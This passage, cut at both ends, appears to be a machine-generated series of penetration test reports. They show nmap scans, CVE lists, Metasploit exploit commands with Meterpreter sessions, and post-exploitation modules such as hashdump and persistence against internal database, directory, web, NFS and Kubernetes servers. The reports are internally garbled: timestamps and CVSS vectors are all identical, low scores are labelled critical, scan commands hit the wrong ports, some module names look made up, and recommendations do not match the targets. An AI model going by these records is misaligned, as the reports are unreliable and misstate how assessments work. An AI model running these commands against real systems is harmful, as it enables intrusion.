hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0081 Date: 2025-05-11 19:07:19 Tester: jdoe Organization: SecureNet Solutions Confidentiality: STRICTLY CONFIDENTIAL Test Objective: execute ethical hacking engagement against the Microsoft SQL database server (10.246.228.107) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p1433,1434 10.246.228.107 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.246.228.107 Host is up (0.50s latency). MAC Address: F8:52:00:41:A0:41 (VMware) 1433/tcp open ms-sql-s Microsoft SQL Server 2017 1434/tcp open ms-sql-s Microsoft SQL Server 2019 OS details: Windows Server 2019 OS CPE: cpe:/o:microsoft:windows_server_2019:- Network Distance: 1 hops Service Info: Hostname: sql-backend-02 Nmap done: 1 IP address (1 host up) scanned in 20 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2020-0618 (RCE via SQL Reporting Services) CVE: CVE-2020-0618 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.6) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.246.228.107 Result: Security vulnerability identified that could potentially compromise the Microsoft SQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2021-1636 (RCE via TDS Protocol) CVE: CVE-2021-1636 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.6) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.246.228.107 Result: Security vulnerability identified that could potentially compromise the Microsoft SQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2019-1068 (Elevation of Privilege - SQL Server) CVE: CVE-2019-1068 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.1) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.246.228.107 Result: Security vulnerability identified that could potentially compromise the Microsoft SQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/windows/sql/mssql_payload; set RHOSTS 10.246.228.107; set RPORT 1433; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-1636 (CVE-2021-1636) - CVE-2020-0618 (CVE-2020-0618) - CVE-2019-1068 (CVE-2019-1068) [*] Started reverse TCP handler on port 1433 [*] Sending payload... [*] Sending stage (256 bytes) [*] Meterpreter session 7 opened [*] Session established [*] Gained system access [*] Connected to 10.246.228.107 [*] Post-exploitation modules available: - mssql_enum - mssql_sql - mssql_exec === Final Assessment === Overall Risk Rating: Medium Confidence Level: Low Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation Key Findings: - 2 critical vulnerabilities identified - 3 high risk issues found - System configuration needs hardening Recommendations: 1. 1. Disable SMBv1 protocol completely 2. Apply all Windows security updates immediately 3. Restrict SMB access to authorized networks only 4. Enable SMB signing to prevent man-in-the-middle attacks Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Enforce MFA, strong password policies, secure session management, and rate limiting. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Implement TLS 1.2+, encrypt data at rest using AES-256, and minimize data collection. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0082 Date: 2025-05-11 19:07:19 Tester: jdoe Organization: Pentest Professionals Confidentiality: STRICTLY CONFIDENTIAL Test Objective: evaluate attack surface of the Active Directory server (192.168.78.98) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p389,636,88,464 192.168.78.98 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.78.98 Host is up (0.57s latency). MAC Address: C2:F8:6C:1F:38:6B (Arista) 389/tcp open ldap OpenLDAP 2.4.50 636/tcp open ldap OpenLDAP 2.4.49 88/tcp open ldap OpenLDAP 2.4.50 464/tcp open ldap OpenLDAP 2.4.49 OS details: Windows Server 2019 Domain Controller OS CPE: cpe:/o:microsoft:windows_server_2019:- Network Distance: 3 hops Service Info: Hostname: active-directory-server-01 Nmap done: 1 IP address (1 host up) scanned in 24 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2022-26923 (Certificate Services Privilege Escalation) CVE: CVE-2022-26923 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.0) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.78.98 Result: Security vulnerability identified that could potentially compromise the Active Directory server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2021-42287 (Kerberos PAC Validation Bypass) CVE: CVE-2021-42287 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (4.0) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.78.98 Result: Security vulnerability identified that could potentially compromise the Active Directory server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2020-1472 (Zerologon - Netlogon Elevation of Privilege) CVE: CVE-2020-1472 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.7) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.78.98 Result: Security vulnerability identified that could potentially compromise the Active Directory server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/multi/handler; set RHOSTS 192.168.78.98; set RPORT 4444; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-42287 (CVE-2021-42287) - CVE-2020-1472 (CVE-2020-1472) - CVE-2022-26923 (CVE-2022-26923) [*] Started reverse TCP handler on port 4444 [*] Sending payload... [*] Sending stage (292 bytes) [*] Meterpreter session 7 opened [*] Session established [*] Gained user access [*] Connected to 192.168.78.98 [*] Post-exploitation modules available: - hashdump - migrate - persistence === Final Assessment === Overall Risk Rating: High Confidence Level: High Confidence Rationale: Vulnerability was verified through successful exploitation or unambiguous detection signatures Key Findings: - 2 critical vulnerabilities identified - 1 high risk issues found - System configuration needs hardening Recommendations: 1. Use proper input validation, chroot jails, and principle of least privilege for file access. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. 2. Apply principle of least privilege, patch systems regularly, and monitor for suspicious activity. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. 3. Use prepared statements, input validation, and context-aware escaping for all interpreter contexts. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0083 Date: 2025-05-11 19:07:19 Tester: asmith Organization: SecureNet Solutions Confidentiality: STRICTLY CONFIDENTIAL Test Objective: perform vulnerability scanning against the Nginx web server (10.131.45.59) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p80,443 10.131.45.59 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.131.45.59 Host is up (0.10s latency). MAC Address: BA:1B:03:76:08:FB (Dell) 80/tcp open http nginx/1.18.0 443/tcp open http nginx/1.18.0 OS details: Linux 5.4.0-42-generic OS CPE: cpe:/o:linux:linux_kernel:5.4 Network Distance: 2 hops Service Info: Host: intranet.local Nmap done: 1 IP address (1 host up) scanned in 23 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2023-44487 (HTTP/2 Rapid Reset - DoS) CVE: CVE-2023-44487 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.0) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.131.45.59 Result: Security vulnerability identified that could potentially compromise the Nginx web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2022-41741 (Use-After-Free in ngx_http_proxy_module) CVE: CVE-2022-41741 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.0) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.131.45.59 Result: Security vulnerability identified that could potentially compromise the Nginx web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2021-23017 (1-byte Memory Overwrite in DNS Resolver) CVE: CVE-2021-23017 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.4) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.131.45.59 Result: Security vulnerability identified that could potentially compromise the Nginx web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/http/nginx_backdoor; set RHOSTS 10.131.45.59; set RPORT 80; exploit" Output: [*] Started reverse TCP handler on port 80 [*] Attempting to exploit using linux/http/nginx_backdoor... [-] Exploit failed: Exploit completed but no session was created [*] Analysis: - Attempted to exploit known vulnerabilities: - CVE-2021-23017 (CVE-2021-23017) - CVE-2022-41741 (CVE-2022-41741) - CVE-2023-44487 (CVE-2023-44487) - Payload execution succeeded but failed to establish reverse connection (firewall/NAT issue?) [*] Recommended next steps: - Research alternative exploits for the same service or pivot to other attack vectors - Verify service version and patch level - Try manual exploitation techniques === Final Assessment === Overall Risk Rating: Medium Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 3 critical vulnerabilities identified - 2 high risk issues found - System configuration needs hardening Recommendations: 1. 1. Disable SMBv1 protocol completely 2. Apply all Windows security updates immediately 3. Restrict SMB access to authorized networks only 4. Enable SMB signing to prevent man-in-the-middle attacks Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Validate and sanitize URLs, implement network segmentation, and use allowlists. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Regenerate session IDs after login and implement proper session invalidation. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0084 Date: 2025-05-11 19:07:19 Tester: kwilson Organization: SecureNet Solutions Confidentiality: STRICTLY CONFIDENTIAL Test Objective: evaluate attack surface of the MySQL database server (10.8.158.204) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p3306,33060 10.8.158.204 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.8.158.204 Host is up (0.42s latency). MAC Address: CA:DC:C3:58:B6:91 (Juniper) 3306/tcp open mysql MySQL 5.7.31 33060/tcp open mysql MySQL 5.7.31 OS details: Linux 5.4.0-72-generic OS CPE: cpe:/o:linux:linux_kernel:5.4 Network Distance: 3 hops Service Info: Hostname: sql-backend-02 Nmap done: 1 IP address (1 host up) scanned in 7 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2023-21912 (Privilege Escalation via Information Schema) CVE: CVE-2023-21912 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.8) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.8.158.204 Result: Security vulnerability identified that could potentially compromise the MySQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2022-21595 (Pluggable Authentication Bypass) CVE: CVE-2022-21595 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.0) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.8.158.204 Result: Security vulnerability identified that could potentially compromise the MySQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2021-3719 (MySQL Optimizer Buffer Overflow) CVE: CVE-2021-3719 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.8) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.8.158.204 Result: Security vulnerability identified that could potentially compromise the MySQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/mysql/mysql_udf_payload; set RHOSTS 10.8.158.204; set RPORT 3306; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-3719 (CVE-2021-3719) - CVE-2023-21912 (CVE-2023-21912) - CVE-2022-21595 (CVE-2022-21595) [*] Started reverse TCP handler on port 3306 [*] Sending payload... [*] Sending stage (275 bytes) [*] Meterpreter session 6 opened [*] Session established [*] Gained root access [*] Connected to 10.8.158.204 [*] Post-exploitation modules available: - mysql_enum - mysql_sql - mysql_file_enum === Final Assessment === Overall Risk Rating: Medium Confidence Level: Low Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation Key Findings: - 2 critical vulnerabilities identified - 5 high risk issues found - System configuration needs hardening Recommendations: 1. Enforce MFA, strong password policies, secure session management, and rate limiting. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. 1. Disable SMBv1 protocol completely 2. Apply all Windows security updates immediately 3. Restrict SMB access to authorized networks only 4. Enable SMB signing to prevent man-in-the-middle attacks Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Apply context-sensitive output encoding and implement Content Security Policy (CSP) headers. Implement CSP with 'default-src none; script-src self; object-src none' as baseline. Report-URI directive should be configured for violation monitoring. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0085 Date: 2025-05-11 19:07:19 Tester: asmith Organization: Pentest Professionals Confidentiality: STRICTLY CONFIDENTIAL Test Objective: conduct a comprehensive security assessment of the NFS server (10.108.29.160) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p2049,111 10.108.29.160 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.108.29.160 Host is up (0.34s latency). MAC Address: 50:5D:4A:70:10:47 (Huawei) 2049/tcp open nfs unknown 111/tcp open nfs unknown OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:4.15 Network Distance: 1 hops Service Info: Hostname: nfs-server-01 Nmap done: 1 IP address (1 host up) scanned in 23 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2019-3689 (openSUSE NFS Access Log Info Disclosure) CVE: CVE-2019-3689 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.0) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.108.29.160 Result: Security vulnerability identified that could potentially compromise the NFS server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2021-37600 (NFSv4 callback channel vulnerability) CVE: CVE-2021-37600 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.1) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.108.29.160 Result: Security vulnerability identified that could potentially compromise the NFS server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2022-43945 (Linux Kernel NFSD vulnerability) CVE: CVE-2022-43945 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.0) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.108.29.160 Result: Security vulnerability identified that could potentially compromise the NFS server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/multi/handler; set RHOSTS 10.108.29.160; set RPORT 4444; exploit" Output: [*] Started reverse TCP handler on port 4444 [*] Attempting to exploit using multi/handler... [-] Exploit failed: Exploit completed but no session was created [*] Analysis: - Attempted to exploit known vulnerabilities: - CVE-2019-3689 (CVE-2019-3689) - CVE-2022-43945 (CVE-2022-43945) - CVE-2021-37600 (CVE-2021-37600) - Payload execution succeeded but failed to establish reverse connection (firewall/NAT issue?) [*] Recommended next steps: - Check network connectivity and firewall rules - Verify service version and patch level - Try manual exploitation techniques === Final Assessment === Overall Risk Rating: Low Confidence Level: Low Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation Key Findings: - 2 critical vulnerabilities identified - 3 high risk issues found - System configuration needs hardening Recommendations: 1. Implement parameterized queries, input validation, and use ORM frameworks with built-in protection. Consider using prepared statements with bind variables in all database interactions. For Java applications, use JPA/Hibernate criteria API instead of string concatenation. 2. Use prepared statements, input validation, and context-aware escaping for all interpreter contexts. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Implement proper role-based access control (RBAC) with centralized authorization checks. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0086 Date: 2025-05-11 19:07:19 Tester: jdoe Organization: Pentest Professionals Confidentiality: STRICTLY CONFIDENTIAL Test Objective: perform authorized security testing of the Active Directory server (10.161.162.232) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p389,636,88,464 10.161.162.232 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.161.162.232 Host is up (0.23s latency). MAC Address: 38:2D:38:EA:6A:EA (HP) 389/tcp open ldap OpenLDAP 2.4.49 636/tcp open ldap OpenLDAP 2.4.49 88/tcp open ldap OpenLDAP 2.4.50 464/tcp open ldap OpenLDAP 2.4.50 OS details: Windows Server 2019 Domain Controller OS CPE: cpe:/o:microsoft:windows_server_2019:- Network Distance: 3 hops Service Info: Hostname: active-directory-server-01 Nmap done: 1 IP address (1 host up) scanned in 22 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2022-26923 (Certificate Services Privilege Escalation) CVE: CVE-2022-26923 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.2) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.161.162.232 Result: Security vulnerability identified that could potentially compromise the Active Directory server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2020-1472 (Zerologon - Netlogon Elevation of Privilege) CVE: CVE-2020-1472 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.0) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.161.162.232 Result: Security vulnerability identified that could potentially compromise the Active Directory server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2021-42287 (Kerberos PAC Validation Bypass) CVE: CVE-2021-42287 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.6) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.161.162.232 Result: Security vulnerability identified that could potentially compromise the Active Directory server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/multi/handler; set RHOSTS 10.161.162.232; set RPORT 4444; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-42287 (CVE-2021-42287) - CVE-2020-1472 (CVE-2020-1472) - CVE-2022-26923 (CVE-2022-26923) [*] Started reverse TCP handler on port 4444 [*] Sending payload... [*] Sending stage (384 bytes) [*] Meterpreter session 1 opened [*] Session established [*] Gained user access [*] Connected to 10.161.162.232 [*] Post-exploitation modules available: - hashdump - migrate - persistence === Final Assessment === Overall Risk Rating: Low Confidence Level: Low Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation Key Findings: - 4 critical vulnerabilities identified - 2 high risk issues found - System configuration needs hardening Recommendations: 1. Use prepared statements, input validation, and context-aware escaping for all interpreter contexts. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Regenerate session IDs after login and implement proper session invalidation. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Use proper input validation, chroot jails, and principle of least privilege for file access. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0087 Date: 2025-05-11 19:07:19 Tester: kwilson Organization: CyberShield Inc Confidentiality: STRICTLY CONFIDENTIAL Test Objective: perform authorized security testing of the NFS server (10.228.73.144) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p2049,111 10.228.73.144 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.228.73.144 Host is up (0.54s latency). MAC Address: D4:1C:7D:13:E2:38 (Amazon) 2049/tcp open nfs unknown 111/tcp open nfs unknown OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:4.15 Network Distance: 2 hops Service Info: Hostname: nfs-server-01 Nmap done: 1 IP address (1 host up) scanned in 24 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2021-37600 (NFSv4 callback channel vulnerability) CVE: CVE-2021-37600 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.9) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.228.73.144 Result: Security vulnerability identified that could potentially compromise the NFS server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2019-3689 (openSUSE NFS Access Log Info Disclosure) CVE: CVE-2019-3689 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.7) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.228.73.144 Result: Security vulnerability identified that could potentially compromise the NFS server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/multi/handler; set RHOSTS 10.228.73.144; set RPORT 4444; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2019-3689 (CVE-2019-3689) - CVE-2021-37600 (CVE-2021-37600) [*] Started reverse TCP handler on port 4444 [*] Sending payload... [*] Sending stage (236 bytes) [*] Meterpreter session 5 opened [*] Session established [*] Gained user access [*] Connected to 10.228.73.144 [*] Post-exploitation modules available: - hashdump - migrate - persistence === Final Assessment === Overall Risk Rating: Low Confidence Level: Low Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation Key Findings: - 3 critical vulnerabilities identified - 3 high risk issues found - System configuration needs hardening Recommendations: 1. Upgrade to latest SQL Server version and apply security patches. Disable obsolete TDS versions. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Use prepared statements, input validation, and context-aware escaping for all interpreter contexts. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Implement proper role-based access control (RBAC) with centralized authorization checks. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0088 Date: 2025-05-11 19:07:19 Tester: jdoe Organization: VulnScan Experts Confidentiality: STRICTLY CONFIDENTIAL Test Objective: assess the security posture of the Kubernetes API server (10.225.74.59) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p6443,10250,10255 10.225.74.59 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.225.74.59 Host is up (0.58s latency). MAC Address: 8A:17:0B:11:BF:66 (HP) 6443/tcp open https Apache/2.4.41 (OpenSSL/1.1.1g) 10250/tcp open https nginx/1.18.0 (OpenSSL/1.1.1f) 10255/tcp open https nginx/1.18.0 (OpenSSL/1.1.1f) OS details: Linux 5.10.0-0.bpo.5-amd64 OS CPE: cpe:/o:linux:linux_kernel:5.10 Network Distance: 2 hops Service Info: Hostname: kubernetes-api-server-01 Nmap done: 1 IP address (1 host up) scanned in 14 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2021-25741 (DoS via EndpointSlice Validation) CVE: CVE-2021-25741 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.2) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.225.74.59 Result: Security vulnerability identified that could potentially compromise the Kubernetes API server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2020-8554 (MITM via External IPs or LoadBalancer) CVE: CVE-2020-8554 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.1) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.225.74.59 Result: Security vulnerability identified that could potentially compromise the Kubernetes API server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/http/kubernetes_api_server_rce; set RHOSTS 10.225.74.59; set RPORT 6443; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-25741 (CVE-2021-25741) - CVE-2020-8554 (CVE-2020-8554) [*] Started reverse TCP handler on port 6443 [*] Sending payload... [*] Sending stage (616 bytes) [*] Meterpreter session 8 opened [*] Session established [*] Gained root access [*] Connected to 10.225.74.59 [*] Post-exploitation modules available: - container_escape - cluster_enum - deploy_pod === Final Assessment === Overall Risk Rating: High Confidence Level: High Confidence Rationale: Vulnerability was verified through successful exploitation or unambiguous detection signatures Key Findings: - 3 critical 